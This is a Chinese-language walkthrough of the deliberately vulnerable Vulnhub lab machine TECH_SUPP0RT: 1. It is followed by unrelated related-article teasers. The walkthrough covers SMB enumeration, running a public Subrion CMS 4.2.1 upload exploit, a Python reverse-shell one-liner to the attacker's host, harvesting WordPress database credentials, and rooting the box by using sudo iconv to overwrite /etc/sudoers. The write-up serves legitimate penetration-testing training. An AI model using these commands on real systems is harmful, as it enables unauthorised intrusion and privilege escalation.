Vulnhub-TECH_SUPP0RT: 1渗透

文章目录

  • 一、前言
    • 1、靶机ip配置
    • 2、渗透目标
    • 3、渗透概括
  • 开始实战
    • 一、信息获取
    • 二、使用smb服务获取信息
    • 三、密码破解
    • 四、获取webshell
    • 五、反弹shell
    • 六、web配置文件获取信息
    • 七、提权

一、前言

由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
 如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!

 👉本文Vulnhub靶机下载连接-戳我直接下载!👈

1、靶机ip配置

  • Kali IP:192.168.2.4
  • 靶机IP:192.168.2.6靶机ip获取方式如下图
    在这里插入图片描述

2、渗透目标

  • 获取到/root/目录下的flag文件

3、渗透概括

  1. smb信息获取
  2. 使用CyberChef解密密码
  3. 利用Subrion CMSv 4.2.1文件上传漏洞获取shell
  4. 反弹shell
  5. 通过web源码获取信息
  6. 通过sduo iconv越权读写文件配合sudoers文件进行提权


开始实战

一、信息获取

使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP如下所示
在这里插入图片描述
可以看到,开放的几个端口是22/ssh 80/http 139,445/smb
22/sshssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息或者爆破的时候才使用这个
80/http基本上大部分的漏洞都是存在于web服务上(至少vulnhub上的靶机是这样的)
139,445/smb这两个端口扫出来的服务是smb服务,我们后续可以进行枚举,看看能不能获取到有用的信息

二、使用smb服务获取信息

那我们首先看看smb服务,我们首先使用smbclient -L //192.168.2.6/命令看一下共享的目录(没有密码直接回车即可)
如下图可疑看到有一个websvr的目录
在这里插入图片描述

我们在使用smbclient //192.168.2.6/websvr 命令登录一下smb服务
ls命令可以看到有一个enter.txt的文本文件
我们再使用get enter.txt命令将该文件下载到本地来,最后使用exit命令即可退出smb服务
在这里插入图片描述

我们使用cat命令看一下这个文件内容
在这里插入图片描述

翻译如下
给了我们一些目标,一个账户和一个加密过的密码
目标2说了一个/subrion无法工作的问题,并且要在panel进行编辑
并告诉我们这个是Subrionwordpress的凭据
在这里插入图片描述

三、密码破解

我们到CyberChef看看这个密码能不能直接解密
我们通过如下操作将这个解密的字符串破解
在这里插入图片描述
可以看到,已经进行解密了,admin密码是Scam2021
在这里插入图片描述

80/http基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。是一个Apache的默认页
在这里插入图片描述

我们直接访问/subrion/panel这个目录,发现了一个登录页面
在这里插入图片描述

四、获取webshell

我们直接用我们上一步获取到的账户密码即可登录
在左下角可以看到该站点的版本信息是Subrion CMSv 4.2.1
在这里插入图片描述

我们使用命令searchsploit Subrion 4.2.1搜索一下这个版本的框架的exp
如下,发现可以使用的exp是比较多的,但是能够获取shell的只有第三个的文件上传exp
在这里插入图片描述

我们使用命令cp /usr/share/exploitdb/exploits/php/webapps/49876.py .将该exp拷贝到当前目录来
在这里插入图片描述

再使用如下命令即可获取到shell

python3 49876.py -u http://192.168.2.6/subrion/panel/ -l admin -p Scam2021

在这里插入图片描述

五、反弹shell

由于该exp提供的shell不是很好用,我们重新反弹一个
我们在kali里面使用nc -lvvp 1234命令监听一下shell
在这里插入图片描述

然后使用如下命令将shell发送到我们kali监听的端口

export RHOST="192.168.2.4";export RPORT=1234;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

在这里插入图片描述

如下,此时靶机的shell成功反弹到我们的kali上来了
在这里插入图片描述

六、web配置文件获取信息

由于该靶机存在wordpress站点,那么肯定会有数据库的配置文件,是可以看到明文用户和密码的
我们到wordpress的目录下,如下图wp-config.php就是数据库wordpress的数据库配置文件
在这里插入图片描述

如下图,我们使用cat命令看一下这个配置文件
我们就可以看到里面有一个用户support和一个密码ImAScammerLOL!123!
在这里插入图片描述

七、提权

我们现在使用命令cd /home到家目录看看有哪些用户
如下图可以看到i一个scamsite用户
在这里插入图片描述

我们直接用上一步获取的密码登录一下这个用户看看
如下图可以正常登录
在这里插入图片描述

我们使用sudo -l命令看看sudo权限的命令
如下图发现iconv命令是可以免密以sudo权限执行的
在这里插入图片描述

iconv具有sudo权限,我们是可以通过sudo以root权限查看指定的文件或者修改其内容
我们现在的思路就是通过修改/etc/sudoers文件的内容来进行提权
我们先到tmp目录(没有权限限制),然后再通过mkdir tiquan创建一个文件夹,然后进入这个文件夹
在这里插入图片描述

再通过如下命令将/etc/sudoers文件读取出来,并且进行备份

sudo iconv -f 8859_1 -t 8859_1 "/etc/sudoers" > sudo.bak

在这里插入图片描述

再使用vim对这个备份文件进行修改
scamsite用户所对应的一行修改为如下图红框标注的内容即可
修改完之后记得保存
在这里插入图片描述

再使用如下命令将修改好的sudo.bak文件进行还原

cat sudo.bak |sudo iconv -f 8859_1 -t 8859_1 -o "/etc/sudoers"

在这里插入图片描述

最后再使用sudo su命令即可成功提权到root权限
在这里插入图片描述

我们切换到root的家目录
使用cat命令查看flag文件root.txt即完成了所有的渗透
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/637829.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【c++】C++输入输出

C输入&输出 新生婴儿会以自己独特的方式向这个崭新的世界打招呼&#xff0c;C刚出来后&#xff0c;也算是一个新事物&#xff0c;那C是否也应该向这个美好的世界来声问候呢&#xff1f;我们来看下C是如何来实现问候的 #include<iostream> // std是C标准库的命名空间名…

全网最高质量文章:重新学习Java中的HashMap!!

前言 本文参考了美团技术团队的科普文章Java 8系列之重新认识HashMap - 知乎 (zhihu.com) 这篇文章的质量极其高&#xff0c;高到很有可能是全网介绍HashMap这个知识点最优秀的文章&#xff0c;没有之一&#xff01;&#xff01;&#xff01;因此&#xff0c;我决定在我自己的…

idea消除代码区黄色警告

文章目录 前言一、修改配置总结 前言 idea的检查项较多&#xff0c;导致警告比较多看上去很不雅观。 一、修改配置 在idea中打开Settings 取消Warning和Weak Warning的勾选 总结 回到顶部

【鸿蒙4.0】harmonyos Day 04

文章目录 一.Button按钮组件1.声明Button组件&#xff0c;label是按钮文字2.添加属性和事件 二.Slider滑动条组件 一.Button按钮组件 1.声明Button组件&#xff0c;label是按钮文字 Button(label?:ResourceStr) // ResourceStr:可以是普通字符串&#xff0c;也可以是引用定义…

多线程-线程状态和线程安全(加锁-synchronized 关键字)

目录 1.线程状态 示例&#xff1a; 1.1线程状态和状态转移的意义 2.线程安全 2.1观察线程不安全 2.2线程不安全的原因 3.synchronized 关键字 - 监视器锁 monitor lock 3.1synchronized 的特性 1. 互斥 2.可重⼊ 应用示例&#xff1a; 3.2synchronized 使⽤⽰例 1.…

kotlin flatten 与 flatMap

kotln中 flatten 和 flatMap 在 Kotlin 中虽然都用于扁平化处理集合&#xff0c;但它们的用法和效果并不完全一样 flatten flatten 函数主要应用于嵌套集合&#xff08;如 List of List 或 Set of Set 等&#xff09;&#xff0c;它会将嵌套集合中的所有元素合并到一个单一层…

【MySQL】MySQL 8.0 状态变量(Server Status Variables)以及SHOW STATUS命令

文章目录 【MySQL】MySQL 8.0 状态变量&#xff08;Server Status Variables&#xff09;以及SHOW STATUS命令SHOW STATUS命令查看所有的状态变量查看特定状态变量 参考 【声明】文章仅供学习交流&#xff0c;观点代表个人&#xff0c;与任何公司无关。 编辑|SQL和数据库技术(I…

【Vue】双向绑定 v-model

<script setup>import { reactive,ref} from vue let hbs ref([]); //装爱好的值 </script><template><div>吃 <input type"checkbox" name"hbs" v-model"hbs" value"吃"> 喝 <input type"che…

C++Linux网络编程基础

动态库和静态库 当动态库和静态库同时存在的时候&#xff0c;会优先使用动态库。 静态库 1. 制作静态库 g -c -o lib库名.a 源文件代码清单-c表示只编译&#xff0c;-o则是说明需要指定文件名 2. 使用静态库 g 选项 源代码文件名清单 -l库名 -L库文件所在的目录名3. 库文…

conda国内加速

1、配置国内源 conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ 2、显示源地址 conda config --set show_channel_urls yes

【Arduino】基于 I2C 模块通过 I2C 接口驱动 LCD1602 字符液晶显示模块显示文本:只需两个引脚即可控制 LCD1602 液晶屏

引言 LCD1602是一种16列2行的字符液晶显示模块&#xff0c;常用于Arduino等嵌入式系统的用户接口。为了简化连接和编程&#xff0c;我们将使用I2C接口&#xff0c;这只需要Arduino的两个模拟输入引脚。 步骤 安装 LiquidCrystal_I2C 库 为了在Arduino中使用I2C模块驱动LCD显…

Linux的Shell程序(全面超详细的介绍)

文章目录 前言1.Shell概述1.1概述 2.Shell解析器3.Shell脚本入门4.Shell中的变量4.1 系统变量4.2 自定义变量4.3 特殊变量&#xff1a;$n4.4 特殊变量&#xff1a;$#4.5 特殊变量&#xff1a;\$*、$4.6 特殊变量&#xff1a;$&#xff1f; 5.运算符6.条件判断7.流程控制7.1 if …

五种List集合的简单实现

五种List集合的简单实现 一、数组形式二、单向链表形式三、含哨兵节点的单向链表形式四、含哨兵节点的双向链表形式五、含哨兵节点的环形链表形式 本文是对不同形式List集合的增删改查实现&#xff0c;仅是对学习过程进行记录 一、数组形式 关键点&#xff1a; 有三个成员变量…

Hive-SQL语法大全

Hive SQL 语法大全 基于语法描述说明 CREATE DATABASE [IF NOT EXISTS] db_name [LOCATION] path; SELECT expr, ... FROM tbl ORDER BY col_name [ASC | DESC] (A | B | C)如上语法&#xff0c;在语法描述中出现&#xff1a; []&#xff0c;表示可选&#xff0c;如上[LOCATI…

面试高频知识点:1集合 1.2 ConcurentHashMap是如何实现线程安全的?(1.8之前后区别)

ConcurrentHashMap&#xff08;并发哈希表&#xff09;是Java集合框架中的一种实现Map接口的类&#xff0c;它专为多线程环境设计&#xff0c;以提供更好的性能和线程安全。在理解 ConcurrentHashMap 是如何实现线程安全的时候&#xff0c;我们可以分别探讨 JDK 1.8 之前和之后…

CGAL 网格法向量计算

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 在计算机图形三维曲面中,严格意义上来讲其实并不存在我们数学层面上所定义的曲面结构,因为计算机中的曲面图形一般都是有一个个三角形或者是多边形而组成的,因此所谓曲面的法向量其实就是在计算每一个三角形或多…

【操作系统和计网从入门到深入】(五)软硬链接和动静态库

前言 这个专栏其实是博主在复习操作系统和计算机网络时候的笔记&#xff0c;所以如果是博主比较熟悉的知识点&#xff0c;博主可能就直接跳过了&#xff0c;但是所有重要的知识点&#xff0c;在这个专栏里面都会提到&#xff01;而且我也一定会保证这个专栏知识点的完整性&…

Lombok:简化JavaBeans的神器

前言 Lombok 是一个 Java 库&#xff0c;它通过注解的方式帮助我们自动生成构造器、getter/setter、equals、hashCode、toString 等方法&#xff0c;极大地简化了 JavaBean 的编写。对于经常需要编写大量的样板代码的工作来说&#xff0c;Lombok 提供了一种优雅的解决方案。 …

Linux内核--网络协议栈(四)sk_buff介绍

目录 一、引言 二、sk_buff ------>2.1、skb介绍 ------>2.2、控制字段 ------>2.3、其他字段 ------>2.4、特定功能字段 ------>2.5、管理字段 ------>2.6、内存分配 ------>2.7、内存释放 ------>2.8、克隆和拷贝 ------>2.9、队列管理…

通信入门系列——连续卷积定理、循环卷积、离散卷积定理

本节目录 一、连续卷积定理 1、时域卷积定理 2、频域卷积定理 二、循环卷积 三、离散卷积定理本节内容 一、连续卷积定理 卷积定理在信号分析中占有重要的地位&#xff0c;包括时域卷积定理和频域卷积定理。在信号分析领域&#xff0c;通常采用基于卷积定理的时频域分析&#…